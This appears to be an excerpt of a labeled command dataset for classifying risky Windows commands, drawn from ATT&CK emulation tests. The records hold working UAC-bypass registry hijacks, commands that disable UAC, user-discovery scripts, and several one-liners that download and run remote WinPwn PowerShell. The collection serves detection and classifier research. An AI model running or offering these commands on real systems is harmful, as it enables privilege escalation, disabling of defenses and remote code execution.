cowWhySo/permission-command-corpus huggingface dataset:
Command: Remove-Item -Path .\CurrentUserObject.txt -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1033
Platform: windows
ATT&CK tags: T1033
Source rule: GetCurrent User with PowerShell Script
Notes: Use the PowerShell "GetCurrent" method of the WindowsIdentity .NET class to identify the logged user.
Command: $TokenSet = @{ U = [Char[]]'ABCDEFGHIJKLMNOPQRSTUVWXYZ' N = [Char[]]'0123456789' } $Upper = Get-Random -Count 5 -InputObject $TokenSet.U $Number = Get-Random -Count 5 -InputObject $TokenSet.N $StringSet = $Upper + $Number $rad = (Get-Random -Count 5 -InputObject $StringSet) -join '' $file = "rad" + $rad + ".tmp" whoami.exe /all >> #{output_path}\$file
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1033
Platform: windows
ATT&CK tags: T1033
Source rule: System Discovery - SocGholish whoami
Notes: SocGholish performs whoami discovery commands and outputs the results to a tmp file. 
The test will generate a filename similar to the random one generated during execution and write the file to AppData\Temp.

Reference: https://redcanary.com/threat-detection-report/threats/socgholish/
Command: Remove-Item -Path #{output_path}\rad*.tmp -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1033
Platform: windows
ATT&CK tags: T1033
Source rule: System Discovery - SocGholish whoami
Notes: SocGholish performs whoami discovery commands and outputs the results to a tmp file. 
The test will generate a filename similar to the random one generated during execution and write the file to AppData\Temp.

Reference: https://redcanary.com/threat-detection-report/threats/socgholish/
Command: set file=#{output_file_path}\user_info_%random%.tmp echo Username: %USERNAME% > %file% echo User Domain: %USERDOMAIN% >> %file% net users >> %file% query user >> %file%
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1033
Platform: windows
ATT&CK tags: T1033
Source rule: System Owner/User Discovery Using Command Prompt
Notes: Identify the system owner or current user using native Windows command prompt utilities.
Command: del #{output_file_path}\\user_info_*.tmp
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1033
Platform: windows
ATT&CK tags: T1033
Source rule: System Owner/User Discovery Using Command Prompt
Notes: Identify the system owner or current user using native Windows command prompt utilities.
Command: reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "#{executable_binary}" /f cmd.exe /c eventvwr.msc
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: Bypass UAC using Event Viewer (cmd)
Notes: Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
Upon execution command prompt should be launched with administrative privileges.
Command: reg.exe delete hkcu\software\classes\mscfile /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: Bypass UAC using Event Viewer (cmd)
Notes: Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
Upon execution command prompt should be launched with administrative privileges.
Command: New-Item "HKCU:\software\classes\mscfile\shell\open\command" -Force Set-ItemProperty "HKCU:\software\classes\mscfile\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force Start-Process "C:\Windows\System32\eventvwr.msc"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: Bypass UAC using Event Viewer (PowerShell)
Notes: PowerShell code to bypass User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
Upon execution command prompt should be launched with administrative privalages
Command: Remove-Item "HKCU:\software\classes\mscfile" -force -Recurse -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: Bypass UAC using Event Viewer (PowerShell)
Notes: PowerShell code to bypass User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
Upon execution command prompt should be launched with administrative privalages
Command: reg.exe add hkcu\software\classes\ms-settings\shell\open\command /ve /d "#{executable_binary}" /f reg.exe add hkcu\software\classes\ms-settings\shell\open\command /v "DelegateExecute" /f fodhelper.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: Bypass UAC using Fodhelper
Notes: Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.
Upon execution, "The operation completed successfully." will be shown twice and command prompt will be opened.
Command: reg.exe delete hkcu\software\classes\ms-settings /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: Bypass UAC using Fodhelper
Notes: Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.
Upon execution, "The operation completed successfully." will be shown twice and command prompt will be opened.
Command: New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force Start-Process "C:\Windows\System32\fodhelper.exe"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: Bypass UAC using Fodhelper - PowerShell
Notes: PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.
Upon execution command prompt will be opened.
Command: Remove-Item "HKCU:\software\classes\ms-settings" -force -Recurse -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: Bypass UAC using Fodhelper - PowerShell
Notes: PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.
Upon execution command prompt will be opened.
Command: New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force Start-Process "C:\Windows\System32\ComputerDefaults.exe"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: Bypass UAC using ComputerDefaults (PowerShell)
Notes: PowerShell code to bypass User Account Control using ComputerDefaults.exe on Windows 10
Upon execution administrative command prompt should open
Command: mkdir "\\?\C:\Windows \System32\" copy "#{executable_binary}" "\\?\C:\Windows \System32\mmc.exe" mklink c:\testbypass.exe "\\?\C:\Windows \System32\mmc.exe"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: Bypass UAC by Mocking Trusted Directories
Notes: Creates a fake "trusted directory" and copies a binary to bypass UAC. The UAC bypass may not work on fully patched systems
Upon execution the directory structure should exist if the system is patched, if unpatched Microsoft Management Console should launch
Command: rd "\\?\C:\Windows \" /S /Q >nul 2>nul del "c:\testbypass.exe" >nul 2>nul
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: Bypass UAC by Mocking Trusted Directories
Notes: Creates a fake "trusted directory" and copies a binary to bypass UAC. The UAC bypass may not work on fully patched systems
Upon execution the directory structure should exist if the system is patched, if unpatched Microsoft Management Console should launch
Command: New-Item -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Value '#{command_to_execute}' New-ItemProperty -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "DelegateExecute" Start-Process -FilePath $env:windir\system32\sdclt.exe Start-Sleep -s 3
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: Bypass UAC using sdclt DelegateExecute
Notes: Bypasses User Account Control using a fileless method, registry only.
Upon successful execution, sdclt.exe will spawn cmd.exe to spawn notepad.exe
[Reference - sevagas.com](http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass)
Adapted from [MITRE ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/stepFourteen_bypassUAC.ps1)
Command: Remove-Item -Path "HKCU:\Software\Classes\Folder" -Recurse -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: Bypass UAC using sdclt DelegateExecute
Notes: Bypasses User Account Control using a fileless method, registry only.
Upon successful execution, sdclt.exe will spawn cmd.exe to spawn notepad.exe
[Reference - sevagas.com](http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass)
Adapted from [MITRE ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/stepFourteen_bypassUAC.ps1)
Command: reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: Disable UAC using reg.exe
Notes: Disable User Account Conrol (UAC) using the builtin tool reg.exe by changing its registry key
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA from 1 to 0
Command: reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 1 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: Disable UAC using reg.exe
Notes: Disable User Account Conrol (UAC) using the builtin tool reg.exe by changing its registry key
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA from 1 to 0
Command: powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: UACME Bypass Method 23
Notes: Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.
Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: Leo Davidson derivative

Type:	Dll Hijack

Method: IFileOperation

Target:	\system32\pkgmgr.exe

Component: DismCore.dll

Implementation:	ucmDismMethod

UCM Method:	UacMethodDISM

https://github.com/hfiref0x
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') UACBypass -noninteractive -command "C:\windows\system32\cmd.exe" -technique magic
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: WinPwn - UAC Magic
Notes: UAC bypass using Magic technique via function of WinPwn
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') UACBypass -noninteractive -command "C:\windows\system32\calc.exe" -technique ccmstp
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: WinPwn - UAC Bypass ccmstp technique
Notes: UAC bypass using ccmstp technique via function of WinPwn
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') UACBypass -noninteractive -command "C:\windows\system32\cmd.exe" -technique DiskCleanup
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: WinPwn - UAC Bypass DiskCleanup technique
Notes: UAC bypass using DiskCleanup technique via function of WinPwn
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/dccuac.ps1')
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: WinPwn - UAC Bypass DccwBypassUAC technique
Notes: UAC Bypass DccwBypassUAC technique via function of WinPwn
Command: $orgValue =(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin).ConsentPromptBehaviorAdmin Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0 -Type Dword -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: Disable UAC admin consent prompt via ConsentPromptBehaviorAdmin registry key
Notes: Disable User Account Conrol (UAC) for admin by setting the registry key 
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin to 0.

[MedusaLocker Ransomware](https://cloudsek.com/technical-analysis-of-medusalocker-ransomware/), 
[Purple Fox Rootkit](https://blogs.blackberry.com/en/2022/01/threat-thursday-purple-fox-rootkit), 
[Avaddon Ransomware](https://blogs.blackberry.com/en/2021/06/threat-thursday-avaddon-ransomware-uses-ddos-attacks-as-triple-threat)
Command: Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value $orgValue -Type Dword -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: Disable UAC admin consent prompt via ConsentPromptBehaviorAdmin registry key
Notes: Disable User Account Conrol (UAC) for admin by setting the registry key 
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin to 0.

[MedusaLocker Ransomware](https://cloudsek.com/technical-analysis-of-medusalocker-ransomware/), 
[Purple Fox Rootkit](https://blogs.blackberry.com/en/2022/01/threat-thursday-purple-fox-rootkit), 
[Avaddon Ransomware](https://blogs.blackberry.com/en/2021/06/threat-thursday-avaddon-ransomware-uses-ddos-attacks-as-triple-threat)
Command: New-Item #{commandpath} -Force | Out-Null New-ItemProperty -Path #{commandpath} -Name "DelegateExecute" -Value "" -Force | Out-Null Set-ItemProperty -Path #{commandpath} -Name "(default)" -Value "#{commandtorun}" -Force -ErrorAction SilentlyContinue | Out-Null $Process = Start-Process -FilePath "C:\Windows\System32\WSReset.exe" -WindowStyle Hidden
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: UAC Bypass with WSReset Registry Modification
Notes: The following UAC bypass is focused on a registry key under "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command" that will trigger a command once wsreset.exe runs. 
This bypass is limited to Windows 10 1803/1809 and may not run on Server platforms. The registry mod is where interest will be.
If successful, the command to run will spawn off wsreset.exe. 
[UAC Bypass in Windows 10 Store Binary](https://0x1.gitlab.io/exploit/UAC-Bypass-in-Windows-10-Store-Binary/)
Command: Remove-Item #{commandpath} -Recurse -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: UAC Bypass with WSReset Registry Modification
Notes: The following UAC bypass is focused on a registry key under "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command" that will trigger a command once wsreset.exe runs. 
This bypass is limited to Windows 10 1803/1809 and may not run on Server platforms. The registry mod is where interest will be.
If successful, the command to run will spawn off wsreset.exe. 
[UAC Bypass in Windows 10 Store Binary](https://0x1.gitlab.io/exploit/UAC-Bypass-in-Windows-10-Store-Binary/)
Command: Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name PromptOnSecureDesktop -Value 0 -Type Dword -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: Disable UAC - Switch to the secure desktop when prompting for elevation via registry key
Notes: User Account Control (UAC) is a security mechanism for limiting the elevation of privileges, including administrative accounts, unless authorized. 
This setting ensures that the elevation prompt is only used in secure desktop mode.
Disable User Account Conrol (UAC) for secure desktop by setting the registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop to 0.
Command: Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name PromptOnSecureDesktop -Value 1 -Type Dword -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: Disable UAC - Switch to the secure desktop when prompting for elevation via registry key
Notes: User Account Control (UAC) is a security mechanism for limiting the elevation of privileges, including administrative accounts, unless authorized. 
This setting ensures that the elevation prompt is only used in secure desktop mode.
Disable User Account Conrol (UAC) for secure desktop by setting the registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop to 0.
Command: reg add "HKLM\SOFTWARE\Microsoft\Security Center" /v UACDisableNotify /t REG_DWORD /d 1 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: Disable UAC notification via registry keys
Notes: This atomic regarding UACDisableNotify pertains to the notification behavior of UAC. UAC is a critical security feature in Windows that prevents unauthorized changes to the operating system. It prompts the user for permission or an administrator password before allowing actions that could affect the system's operation or change settings that affect other users. The BlotchyQuasar RAT defense evasion activities that the adversary to disable UAC notifications makes it easier for malware and malicio
Command: reg add "HKLM\SOFTWARE\Microsoft\Security Center" /v UACDisableNotify /t REG_DWORD /d 0 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: Disable UAC notification via registry keys
Notes: This atomic regarding UACDisableNotify pertains to the notification behavior of UAC. UAC is a critical security feature in Windows that prevents unauthorized changes to the operating system. It prompts the user for permission or an administrator password before allowing actions that could affect the system's operation or change settings that affect other users. The BlotchyQuasar RAT defense evasion activities that the adversary to disable UAC notifications makes it easier for malware and malicio
Command: reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: Disable ConsentPromptBehaviorAdmin via registry keys
Notes: This atomic regarding setting ConsentPromptBehaviorAdmin to 0 configures the UAC so that it does not prompt for consent or credentials when actions requiring elevated privileges are performed by users in the administrators group. This means that any operation that would normally trigger a UAC prompt will proceed automatically without user interaction.
Command: reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 5 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: Disable ConsentPromptBehaviorAdmin via registry keys
Notes: This atomic regarding setting ConsentPromptBehaviorAdmin to 0 configures the UAC so that it does not prompt for consent or credentials when actions requiring elevated privileges are performed by users in the administrators group. This means that any operation that would normally trigger a UAC prompt will proceed automatically without user interaction.
Command: reg add "HKEY_CURRENT_USER\Software\Classes\.pwn\Shell\Open\command" /ve /d "C:\Windows\System32\calc.exe" /f reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\CurVer" /ve /d ".pwn" /f echo Triggering fodhelper.exe for potential privilege escalation... start fodhelper.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: UAC bypassed by Utilizing ProgIDs registry.
Notes: This atomic designed to simulate the UAC bypassed made by ValleyRAT by adding customized ProgIDs registry entry.
Command: reg delete "HKEY_CURRENT_USER\Software\Classes\.pwn\Shell\Open\command" /ve /f reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings\CurVer" /ve /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.002
Platform: windows
ATT&CK tags: T1548.002
Source rule: UAC bypassed by Utilizing ProgIDs registry.
Notes: This atomic designed to simulate the UAC bypassed made by ValleyRAT by adding customized ProgIDs registry entry.
Command: %windir%\system32\inetsrv\appcmd.exe install module /name:#{module_name} /image:#{dll_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1505.004
Platform: windows
ATT&CK tags: T1505.004
Source rule: Install IIS Module using AppCmd.exe
Notes: The following Atomic will utilize AppCmd.exe to install a new IIS Module. IIS must be installed.
This atomic utilizes a DLL on disk, but to test further suspiciousness, compile and load [IIS-Raid](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/).
A successful execution will install a module into IIS using AppCmd.exe.
[Managing and installing Modules Reference](https://learn.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview#to-install-a-mo